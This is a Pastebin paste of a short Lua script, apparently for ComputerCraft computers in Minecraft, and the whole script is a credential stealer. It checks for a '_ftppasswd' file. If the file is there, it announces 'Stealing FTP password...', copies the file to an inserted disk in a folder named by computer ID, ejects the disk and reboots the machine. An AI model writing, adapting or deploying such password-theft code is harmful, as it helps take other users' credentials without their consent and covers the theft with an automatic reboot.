xXm0dzXx

Test

Sep 7th, 2012
205
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.68 KB | None | 0 0
  1. local x,y = term.getSize()
  2.  
  3. if fs.exists("_ftppasswd") then
  4. sttring = "Stealing FTP password..."
  5. term.setCursorPos(x-#sttring, y)
  6. term.clearLine()
  7. print(sttring)
  8. fs.delete("disk/PC_" ..os.getComputerID())
  9. fs.makeDir("disk/PC_"..os.getComputerID())
  10. fs.copy("_ftppasswd","disk/PC_" ..os.getComputerID().. "/_ftppasswd")
  11. sleep(0.5)
  12. sides = redstone.getSides()
  13. for i=1,#sides do
  14. disk.eject(sides[i])
  15. end
  16. sttring = "Complete!"
  17. term.setCursorPos(x-#sttring, y)
  18. term.clearLine()
  19. print(sttring)
  20. sleep(1)
  21. os.reboot()
  22. else
  23. sttring = "No FTP password detected..."
  24. term.setCursorPos(x-#sttring, y)
  25. term.clearLine()
  26. print(sttring)
  27. sleep(1)
  28. os.reboot()
  29. end
Advertisement
Add Comment
Please, Sign In to add comment